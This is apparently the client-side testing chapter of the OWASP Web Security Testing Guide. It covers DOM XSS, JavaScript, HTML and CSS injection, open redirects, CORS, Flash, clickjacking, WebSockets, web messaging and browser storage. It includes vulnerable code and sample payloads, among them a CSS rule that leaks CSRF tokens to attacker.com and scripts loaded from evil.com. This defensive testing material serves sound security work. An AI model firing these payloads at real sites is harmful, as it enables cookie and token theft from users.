11.0 Client-side Testing
Last updated
Last updated
11.1 Testing for DOM-Based Cross Site Scripting
Test Objectives
Identify DOM sinks.
Build payloads that pertain to every sink type.
How to Test
JavaScript applications differ significantly from other types of applications because they are often dynamically generated by the server. To understand what code is being executed, the website being tested needs to be crawled to determine all the instances of JavaScript being executed and where user input is accepted. Many websites rely on large libraries of functions, which often stretch into the hundreds of thousands of lines of code and have not been developed in-house. In these cases, top-down testing often becomes the only viable option, since many bottom level functions are never used, and analyzing them to determine which are sinks will use up more time than is often available. The same can also be said for top-down testing if the inputs or lack thereof is not identified to begin with.
User input comes in two main forms:
Input written to the page by the server in a way that does not allow direct XSS, and
Input obtained from client-side JavaScript objects.
Here are two examples of how the server may insert data into JavaScript:
var data = "<escaped data from the server>"; var result = someFunction("<escaped data from the server>");
Here are two examples of input from client-side JavaScript objects:
var data = window.location; var result = someFunction(window.referrer);
While there is little difference to the JavaScript code in how they are retrieved, it is important to note that when input is received via the server, the server can apply any permutations to the data that it desires. On the other hand, the permutations performed by JavaScript objects are fairly well understood and documented. If someFunction
in the above example were a sink, then the exploitability in the former case would depend on the filtering done by the server, whereas in the latter case it would depend on the encoding done by the browser on the window.referrer
object. Stefano Di Paulo has written an excellent article on what browsers return when asked for the various elements of a URL using the document and location attributes.
Additionally, JavaScript is often executed outside of <script>
blocks, as evidenced by the many vectors which have led to XSS filter bypasses in the past. When crawling the application, it is important to note the use of scripts in places such as event handlers and CSS blocks with expression attributes. Also, note that any off-site CSS or script objects will need to be assessed to determine what code is being executed.
Automated testing has only very limited success at identifying and validating DOM-based XSS as it usually identifies XSS by sending a specific payload and attempts to observe it in the server response. This may work fine for the simple example provided below, where the message parameter is reflected back to the user:
<script> var pos=document.URL.indexOf("message=")+5; document.write(document.URL.substring(pos,document.URL.length)); </script>
However, it may not be detected in the following contrived case:
`<script> var navAgt = navigator.userAgent;
if (navAgt.indexOf("MSIE")!=-1) { document.write("You are using IE as a browser and visiting site: " + document.location.href + "."); } else { document.write("You are using an unknown browser."); } </script>`
For this reason, automated testing will not detect areas that may be susceptible to DOM-based XSS unless the testing tool can perform additional analysis of the client-side code.
Manual testing should therefore be undertaken and can be done by examining areas in the code where parameters are referred to that may be useful to an attacker. Examples of such areas include places where code is dynamically written to the page and elsewhere where the DOM is modified or even where scripts are directly executed.
11.2 Testing for JavaScript Execution
A JavaScript injection vulnerability is a subtype of cross site scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim’s browser. This vulnerability can have many consequences, like the disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application’s behavior.
JavaScript injection vulnerabilities can occur when the application lacks proper user-supplied input and output validation. As JavaScript is used to dynamically populate web pages, this injection occurs during this content processing phase and consequently affects the victim.
When testing for this vulnerability, consider that some characters are treated differently by different browsers. For reference, see DOM-based XSS.
Here is an example of a script that does not perform any validation of the variable rr
. The variable contains user-supplied input via the query string, and additionally does not apply any form of encoding:
var rr = location.search.substring(1); if(rr) { window.location=decodeURIComponent(rr); }
This implies that an attacker could inject JavaScript code simply by submitting the following query string: www.victim.com/?javascript:alert(1)
.
11.3 Testing for HTML Injection
HTML injection is a type of injection vulnerability that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user’s session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims.
This vulnerability occurs when user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) legitimate parts from malicious parts of the page, and consequently will parse and execute the whole page in the victim’s context.
There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is an high risk of HTML injection vulnerability. For example, malicious HTML code can be injected via the innerHTML
JavaScript method, usually used to render user-inserted HTML code. If strings are not correctly sanitized, the method can enable HTML injection. A JavaScript function that can be used for this purpose is document.write()
.
The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic HTML in the page context:
var userposition=location.href.indexOf("user="); var user=location.href.substring(userposition+5); document.getElementById("Welcome").innerHTML=" Hello, "+user;
The following example shows vulnerable code using the document.write()
function:
var userposition=location.href.indexOf("user="); var user=location.href.substring(userposition+5); document.write("<h1>Hello, " + user +"</h1>");
In both examples, this vulnerability can be exploited with an input such as:
http://vulnerable.site/page.html?user=<img%20src='aaa'%20onerror=alert(1)>
This input will add an image tag to the page that will execute arbitrary JavaScript code inserted by the malicious user in the HTML context.
11.4 Testing for Client-side URL Redirect
When testers manually check for this type of vulnerability, they first identify if there are client-side redirections implemented in the client-side code. These redirections may be implemented, to give a JavaScript example, using the window.location
object. This can be used to direct the browser to another page by simply assigning a string to it. This is demonstrated in the following snippet:
var redir = location.hash.substring(1); if (redir) { window.location='http://'+decodeURIComponent(redir); }
In this example, the script does not perform any validation of the variable redir
which contains the user-supplied input via the query string. Since no form of encoding is applied, this unvalidated input is passed to the windows.location
object, creating a URL redirection vulnerability.
This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string:
http://www.victim.site/?#www.malicious.site
With a slight modification, the above example snippet can be vulnerable to JavaScript injection.
var redir = location.hash.substring(1); if (redir) { window.location=decodeURIComponent(redir); }
This can be exploited by submitting the following query string:
http://www.victim.site/?#javascript:alert(document.cookie)
When testing for this vulnerability, consider that some characters are treated differently by different browsers. For reference, see DOM-based XSS.
11.5 Testing for CSS Injection
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim’s browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration.
This vulnerability occurs when the application allows user-supplied CSS to interfere with the application’s legitimate style sheets. Injecting code in the CSS context may provide an attacker with the ability to execute JavaScript in certain conditions, or to extract sensitive values using CSS selectors and functions able to generate HTTP requests. Generally, allowing users the ability to customize pages by supplying custom CSS files is a considerable risk.
The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the location.hash
(source) which reaches the cssText
function (sink). This particular case may lead to DOM-based XSS in older browser versions; for more information, see the DOM-based XSS Prevention Cheat Sheet.
<a id="a1">Click me</a> <script> if (location.hash.slice(1)) { document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1); } </script>
The attacker could target the victim by asking them to visit the following URLs:
www.victim.com/#red;-o-link:'<javascript:alert(1)>';-o-link-source:current;
(Opera [8,12])
www.victim.com/#red;-:expression(alert(URL=1));
(IE 7/8)
The same vulnerability may appear in the case of reflected XSS, for example, in the following PHP code:
<style> p { color: <?php echo $_GET['color']; ?>; text-align: center; } </style>
Further attack scenarios involve the ability to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors, leading to the exfiltration of data, for example, CSRF tokens.
Here is an example of code that attempts to select an input with a name
matching csrf_token
and a value
beginning with an a
. By utilizing a brute-force attack to determine the attribute’s value
, it is possible to carry out an attack that sends the value to the attacker’s domain, such as by attempting to set a background image on the selected input element.
<style> input[name=csrf_token][value=^a] { background-image: url(<http://attacker.com/log?a>); } </style>
Other attacks using solicited content such as CSS are highlighted in Mario Heiderich’s talk, “Got Your Nose” on YouTube.
Identify CSS injection points.
Assess the impact of the injection.
Code should be analyzed to determine if a user is permitted to inject content in the CSS context. Particularly, the way in which the website returns CSS rules on the basis of the inputs should be inspected.
The following is a basic example:
<a id="a1">Click me</a> <b>Hi</b> <script> $("a").click(function(){ $("b").attr("style","color: " + location.hash.slice(1)); }); </script>
The above code contains a source location.hash
, controlled by the attacker, that can inject directly in the style
attribute of an HTML element. As mentioned above, this may lead to different results depending on the browser in use and the supplied payload.
11.6 Testing for Client-side Resource Manipulation
A client-side resource manipulation vulnerability is an input validation flaw. It occurs when an application accepts user-controlled input that specifies the path of a resource such as the source of an iframe, JavaScript, applet, or the handler of an XMLHttpRequest. This vulnerability consists of the ability to control the URLs that link to some resources present in a web page. The impact of this vulnerability varies, and it is usually adopted to conduct XSS attacks. This vulnerability makes it is possible to interfere with the expected application’s behavior by causing it to load and render malicious objects.
The following JavaScript code shows a possible vulnerable script in which an attacker is able to control the location.hash
(source) which reaches the attribute src
of a script element. This particular case leads to a XSS attack as external JavaScript could be injected.
<script> var d=document.createElement("script"); if(location.hash.slice(1)) { d.src = location.hash.slice(1); } document.body.appendChild(d); </script>
An attacker could target a victim by causing them to visit this URL:
www.victim.com/#http://evil.com/js.js
Where js.js
contains:
alert(document.cookie)
This would cause the alert to pop up on the victim’s browser.
A more damaging scenario involves the possibility of controlling the URL called in a CORS request. Since CORS allows the target resource to be accessible by the requesting domain through a header-based approach, the attacker may ask the target page to load malicious content from its own website.
Here is an example of a vulnerable page:
`<b id="p"></b> <script> function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); xhr.open(method, url, true); xhr.onreadystatechange = function () { if (this.status == 200 && this.readyState == 4) { document.getElementById('p').innerHTML = this.responseText; } }; return xhr; }
</script>`
The location.hash
is controlled by user input and is used for requesting an external resource, which will then be reflected through the construct innerHTML
. An attacker could ask a victim to visit the following URL:
www.victim.com/#http://evil.com/html.html
With the payload handler for html.html
:
<?php header('Access-Control-Allow-Origin: <http://www.victim.com>'); ?> <script>alert(document.cookie);</script>
Identify sinks with weak input validation.
Assess the impact of the resource manipulation.
To manually check for this type of vulnerability, we must identify whether the application employs inputs without correctly validating them. If so, these inputs are under the control of the user and could be used to specify external resources. Since there are many resources that could be included in the application (such as images, video, objects, css, and iframes), the client-side scripts that handle the associated URLs should be investigated for potential issues.
The following table shows possible injection points (sink) that should be checked:
The most interesting ones are those that allow to an attacker to include client-side code (for example JavaScript) that could lead to XSS vulnerabilities.
11.7 Testing Cross Origin Resource Sharing
Cross origin resource sharing (CORS) is a mechanism that enables a web browser to perform cross-domain requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.
Cross-origin requests have an origin header that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. HTTP headers are used to accomplish this.
The W3C CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods and headers allowed by the server, and if credentials are permitted. Based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.
Origin & Access-Control-Allow-Origin
The origin header is always sent by the browser in a CORS request and indicates the origin of the request. The origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.
From a penetration testing perspective you should look for insecure configurations as for example using a *
wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.
Access-Control-Request-Method & Access-Control-Allow-Method
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.
Access-Control-Request-Headers & Access-Control-Allow-Headers
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.
Access-Control-Allow-Credentials
This header as part of a preflight request indicates that the final request can include user credentials.
Input Validation
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLs are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.
Other Headers
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.
Test Objectives
Identify endpoints that implement CORS.
Ensure that the CORS configuration is secure or harmless.
How to Test
A tool such as ZAP can enable testers to intercept HTTP headers, which can reveal how CORS is used. Testers should pay particular attention to the origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:
Example 1: Insecure Response with Wildcard `` in Access-Control-Allow-Origin
Request http://attacker.bar/test.php
(note the ‘origin’ header):
GET /test.php HTTP/1.1 Host: attacker.bar [...] Referer: <http://example.foo/CORSexample1.html> Origin: <http://example.foo> Connection: keep-alive
Response (note the ‘Access-Control-Allow-Origin’ header:)
`HTTP/1.1 200 OK [...] Access-Control-Allow-Origin: * Content-Length: 4 Content-Type: application/xml
[Response Body]`
Example 2: Input Validation Issue: XSS with CORS
This code makes a request to the resource passed after the #
character in the URL, initially used to get resources in the same server.
Vulnerable code:
`<script> var req = new XMLHttpRequest();
</script>
<body> <div id="div1"></div> </body>`
For example, a request like this will show the contents of the profile.php
file:
http://example.foo/main.php#profile.php
Request and response generated by http://example.foo/profile.php
:
`GET /profile.php HTTP/1.1 Host: example.foo [...] Referer: http://example.foo/main.php Connection: keep-alive
HTTP/1.1 200 OK [...] Content-Length: 25 Content-Type: text/html
[Response Body]`
Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo
domain, with a URL like this:
http://example.foo/main.php#<http://attacker.bar/file.php
>
Request and response generated by http://attacker.bar/file.php
:
`GET /file.php HTTP/1.1 Host: attacker.bar [...] Referer: http://example.foo/main.php origin: http://example.foo
HTTP/1.1 200 OK [...] Access-Control-Allow-Origin: * Content-Length: 92 Content-Type: text/html
Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">`
11.8 Testing for Cross Site Flashing
ActionScript, based on ECMAScript, is the language used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design.
ActionScript, like every other language, has some implementation patterns which could lead to security issues. In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM-based Cross Site Scripting (DOM XSS) could be present in flawed Flash applications.
Cross-Site Flashing (XSF) is a vulnerability that has a similar impact to XSS.
XSF occurs when the following scenarios are initiated from different domains:
One movie loads another movie with loadMovie*
functions (or other hacks) and has access to the same sandbox, or part of it.
An HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:
GetVariable
to access Flash public and static objects from JavaScript as a string.
SetVariable
to set a static or public Flash object to a new string value with JavaScript.
Unexpected communications between the browser and SWF application, which could result in stealing data from the SWF application.
XSF may be performed by forcing a flawed SWF to load an external evil Flash file. This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake Flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie*
methods are used.
Open Redirectors
SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link.
In the Flash case, the malicious URL might look like:
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html
In the above example, an end user might see that the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue
and provides it to an ActionScript browser navigation call:
getURL(_root.getURLValue,"_self");
This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trust the user has in trusted.example.org to trick the user into visiting their malicious website. From there, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website.
Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.
Attacks and Flash Player Version
Since May 2007, three new versions of Flash Player were released by Adobe. Every new version restricts some of the attacks previously described.
Test Objectives
Decompile and analyze the application’s code.
Assess sinks inputs and unsafe method usages.
How to Test
Since the first publication of Testing Flash Applications, new versions of Flash Player were released in order to mitigate some of the attacks which will be described. Nevertheless, some issues still remain exploitable because they are the result of insecure programming practices.
Decompilation
Since SWF files are interpreted by a virtual machine embedded in the player itself, they can be potentially decompiled and analyzed. The most known and free ActionScript 2.0 decompiler is flare.
To decompile a SWF file with flare just type:
$ flare hello.swf
This results in a new file called hello.flr.
Decompilation helps testers because it allows for white-box testing of the Flash applications. A quick web search can lead you to various disassmeblers and flash security tools.
Undefined Variables FlashVars
FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from the Object or Embed tag within the HTML. For instance:
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="<http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0>"> <param name="movie" value="somefilename.swf"> <param name="FlashVars" value="var1=val1&var2=val2"> <embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2"> </embed> </object>
FlashVars can also be initialized from the URL:
http://www.example.org/somefilename.swf?var1=val1&var2=val2
In ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically, this looks like:
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters; var var1:String = String(paramObj["var1"]); var var2:String = String(paramObj["var2"]);
In ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are those variables that are prepended by _root
, _global
or _level0
. This means that if an attribute like _root.varname
is undefined throughout the code flow, it could be overwritten by URL parameters:
http://victim/file.swf?varname=value
Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Let’s look at some ActionScript 2.0 code that is vulnerable:
Example:
`movieClip 328 __Packages.Locale {
#initclip if (!_global.Locale) { var v1 = function (on_load) { var v5 = new XML(); var v6 = this; v5.onLoad = function (success) { if (success) { trace('Locale loaded xml'); var v3 = this.xliff.file.body.$trans_unit; var v2 = 0; while (v2 < v3.length) { Locale.strings[v3[v2]._resname] = v3[v2].source.__text; ++v2; } on_load(); } else {} }; if (_root.language != undefined) { Locale.DEFAULT_LANG = root.language; } v5.load(Locale.DEFAULT_LANG + '/player' + Locale.DEFAULT_LANG + '.xml'); };`
The above code could be attacked by requesting:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Unsafe Methods
When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered or validated, it could lead to some vulnerabilities.
Unsafe Methods since version r47 are:
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText
Exploitation by Reflected XSS
The swf file should be hosted on the victim’s host, and the techniques of reflected XSS must be used. An attacker forces the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:
<iframe src='<http://victim/path/to/file.swf>'></iframe>
In this situation, the browser will self-generate an HTML page as if it were hosted by the victim host.
GetURL (AS2) / NavigateToURL (AS3)
The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser’s window. If an undefined variable is used as the first argument for getURL:
getURL(_root.URI,'_targetFrame');
Or if a FlashVar is used as the parameter that is passed to a navigateToURL function:
var request:URLRequest = new URLRequest(FlashVarSuppliedURL); navigateToURL(request);
Then this will mean it’s possible to call JavaScript in the same domain where the movie is hosted by requesting:
http://victim/file.swf?URI=javascript:evilcode
getURL('javascript:evilcode','_self');
The same is possible when only some part of getURL
is controlled via DOM injection with Flash JavaScript injection:
getUrl('javascript:function('+_root.arg+')')
Using asfunction
You can use the special asfunction
protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 asfunction
could be used on every method which has a URL as an argument. After that release, asfunction
was restricted to use within an HTML TextField.
This means that a tester could try to inject:
asfunction:getURL,javascript:evilcode
in every unsafe method, such as:
loadMovie(_root.URL)
by requesting:
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
ExternalInterface
ExternalInterface.call
is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.
From a security point of view it could be abused when part of its argument could be controlled:
flash.external.ExternalInterface.call(_root.callback);
the attack pattern for this kind of flaw may be something like the following:
eval(evilcode)
since the internal JavaScript that is executed by the browser will be something similar to:
eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')
HTML Injection
TextField Objects can render minimal HTML by setting:
tf.html = true tf.htmlText = '<tag>text</tag>'
So if some part of text could be controlled by the tester, an <a>
tag or an image tag could be injected resulting in modifying the GUI or a XSS attack on the browser.
Some attack examples with <a>
tag:
Direct XSS: <a href='javascript:alert(123)'>
Call a function: <a href='asfunction:function,arg'>
Call SWF public functions: <a href='asfunction:_root.obj.function, arg'>
Call native static as function: <a href='asfunction:System.Security.allowDomain,evilhost'>
An image tag could be used as well:
<img src='<http://evil/evil.swf>'>
In this example, .swf
is necessary to bypass the Flash Player internal filter:
<img src='javascript:evilcode//.swf'>
Since the release of Flash Player 9.0.124.0, XSS is no longer exploitable, but GUI modification could still be accomplished.
11.9 Testing for Clickjacking
Test Objectives
Understand security measures in place.
Assess how strict the security measures are and if they are bypassable.
How to Test
As mentioned above, this type of attack is often designed to allow an attacker to induce users’ actions on the target site, even if anti-CSRF tokens are being used. Testing should be conducted to determine if website pages are vulnerable to clickjacking attacks.
Testers may investigate if a target page can be loaded in an inline frame by creating a simple web page that includes a frame containing the target web page. An example of HTML code to create this testing web page is displayed in the following snippet:
<html> <head> <title>Clickjack test page</title> </head> <body> <iframe src="<http://www.target.site>" width="500" height="500"></iframe> </body> </html>
If the http://www.target.site
page is successfully loaded into the frame, then the site is vulnerable and has no type of protection against clickjacking attacks.
Bypass Clickjacking Protection
If the http://www.target.site
page does not appear in the inline frame, the site probably has some form of protection against clickjacking. It’s important to note that this isn’t a guarantee that the page is totally immune to clickjacking.
Methods to protect a web page from clickjacking can be divided into a few main mechanisms. It is possible to bypass these methods in some circumstances by employing specific workarounds. For further OWASP resources on clickjacking defense, see the OWASP Clickjacking Defense Cheat Sheet.
11.10 Testing WebSockets
Traditionally, the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).
WebSockets allow the client or server to create a ‘full-duplex’ (two-way) communication channel, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial upgrade handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames. For more, see the WebSocket Protocol.
Origin
It is the server’s responsibility to verify the [Origin
header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin) in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for CSRF-like issues. See also Top 10-2017 A5-Broken Access Control.
Confidentiality and Integrity
WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the ws://
URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the wss://
URI scheme is used (default port 443). See also Top 10-2017 A3-Sensitive Data Exposure.
Input Sanitization
As with any data originating from untrusted sources, the data should be properly sanitized and encoded. See also Top 10-2017 A1-Injection and Top 10-2017 A7-Cross-Site Scripting (XSS).
Test Objectives
Identify the usage of WebSockets.
Assess its implementation by using the same tests on normal HTTP channels.
How to Test
Black-Box Testing
Identify that the application is using WebSockets.
Inspect the client-side source code for the ws://
or wss://
URI scheme.
Use Google Chrome’s Developer Tools to view the Network WebSocket communication.
Use ZAP’s WebSocket tab.
Origin.
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.
Confidentiality and Integrity.
Check that the WebSocket connection is using SSL to transport sensitive information wss://
.
Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the Testing for Weak Transport Layer Security section of this guide.
Authentication.
WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the Authentication Testing sections of this guide.
Authorization.
WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the Authorization Testing sections of this guide.
Input Sanitization.
Use ZAP’s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the Testing for Data Validation sections of this guide.
Example 1
Once we have identified that the application is using WebSockets (as described above) we can use the OWASP Zed Attack Proxy (ZAP) to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.
Figure 4.11.10-1: ZAP WebSockets
Example 2
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake’s origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.
Figure 4.11.10-2: WebSocket Client
Gray-Box Testing
Gray-box testing is similar to black-box testing. In gray-box testing, the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.
11.11 Testing Web Messaging
Examine Origin Security
Testers should check whether the application code is filtering and processing messages from trusted domains. Within the sending domain, also ensure that the receiving domain is explicitly stated, and that *
is not used as the second argument of postMessage()
. This practice could introduce security concerns and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.
If the website fails to add security controls to restrict the domains or origins that are allowed to send messages to a website, it is likely to introduce a security risk. Testers should examine the code for message event listeners and get the callback function from the addEventListener
method for further analysis. Domains must always be verified prior to data manipulation.
Examine Input Validation
Although the website is theoretically accepting messages from trusted domains only, data must still be treated as externally-sourced, untrusted data, and processed with the appropriate security controls. Testers should analyze the code and look for insecure methods, in particular where data is being evaluated via eval()
or inserted into the DOM via the innerHTML
property, which may create DOM-based XSS vulnerabilities.
Static Code Analysis
JavaScript code should be analyzed to determine how web messaging is implemented. In particular, testers should be interested in how the website is restricting messages from untrusted domains, and how the data is handled even for trusted domains.
In this example, access is needed for every subdomain (www, chat, forums, …) within the owasp.org domain. The code is trying to accept any domain with .owasp.org
:
`window.addEventListener("message", callback, true);
function callback(e) { if(e.origin.indexOf(".owasp.org")!=-1) { /* process message (e.data) */ } }`
The intention is to allow subdomains such as:
www.owasp.org
chat.owasp.org
forums.owasp.org
Unfortunately, this introduces vulnerabilities. An attacker can easily bypass the filter since a domain such as www.owasp.org.attacker.com
will match.
Here is an example of code that lacks an origin check. This is very insecure, as it will accept input from any domain:
`window.addEventListener("message", callback, true);
function callback(e) { /* process message (e.data) */ }`
Here is an example with input validation vulnerabilities that may lead to XSS attack:
`window.addEventListener("message", callback, true);
function callback(e) { if(e.origin === "trusted.domain.com") { element.innerHTML= e.data; } }`
A more secure approach would be to use the property innerText
instead of innerHTML
.
11.12 Testing Browser Storage
Browsers provide the following client-side storage mechanisms for developers to store and retrieve data:
Local Storage
Session Storage
IndexedDB
Web SQL (Deprecated)
Cookies
These storage mechanisms can be viewed and edited using the browser’s developer tools, such as Google Chrome DevTools or Firefox’s Storage Inspector.
Note: While cache is also a form of storage it is covered in a separate section covering its own peculiarities and concerns.
Test Objectives
Determine whether the website is storing sensitive data in client-side storage.
The code handling of the storage objects should be examined for possibilities of injection attacks, such as utilizing unvalidated input or vulnerable libraries.
How to Test
Local Storage
window.localStorage
is a global property that implements the Web Storage API and provides persistent key-value storage in the browser.
Both the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via JSON.stringify.
Entries to localStorage
persist even when the browser window closes, with the exception of windows in Private/Incognito mode.
The maximum storage capacity of localStorage
varies between browsers.
List All Key-Value Entries
for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); const value = localStorage.getItem(key); console.log(
${key}: ${value}); }
Session Storage
window.sessionStorage
is a global property that implements the Web Storage API and provides ephemeral key-value storage in the browser.
Both the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via JSON.stringify.
Entries to sessionStorage
are ephemeral because they are cleared when the browser tab/window is closed.
The maximum storage capacity of sessionStorage
varies between browsers.
List All Key-Value Entries
for (let i = 0; i < sessionStorage.length; i++) { const key = sessionStorage.key(i); const value = sessionStorage.getItem(key); console.log(
${key}: ${value}); }
IndexedDB
IndexedDB is a transactional, object-oriented database intended for structured data. An IndexedDB database can have multiple object stores and each object store can have multiple objects.
In contrast to Local Storage and Session Storage, IndexedDB can store more than just strings. Any objects supported by the structured clone algorithm can be stored in IndexedDB.
An example of a complex JavaScript object that can be stored in IndexedDB, but not in Local/Session Storage are CryptoKeys.
W3C recommendation on Web Crypto API recommends that CryptoKeys that need to be persisted in the browser, to be stored in IndexedDB. When testing a web page, look for any CryptoKeys in IndexedDB and check if they are set as extractable: true
when they should have been set to extractable: false
(i.e. ensure the underlying private key material is never exposed during cryptographic operations.)
Print All the Contents of IndexedDB
`const dumpIndexedDB = dbName => { const DB_VERSION = 1; const req = indexedDB.open(dbName, DB_VERSION); req.onsuccess = function() { const db = req.result; const objectStoreNames = db.objectStoreNames || [];
};
indexedDB.databases().then(dbs => dbs.forEach(db => dumpIndexedDB(db.name)));`
Web SQL
Web SQL is deprecated since November 18, 2010 and it’s recommended that web developers do not use it.
Cookies
Cookies are a key-value storage mechanism that is primarily used for session management but web developers can still use it to store arbitrary string data.
Cookies are covered extensively in the testing for Cookies attributes scenario.
List All Cookies
console.log(window.document.cookie);
Global Window Object
Sometimes web developers initialize and maintain global state that is available only during the runtime life of the page by assigning custom attributes to the global window
object. For example:
window.MY_STATE = { counter: 0, flag: false, };
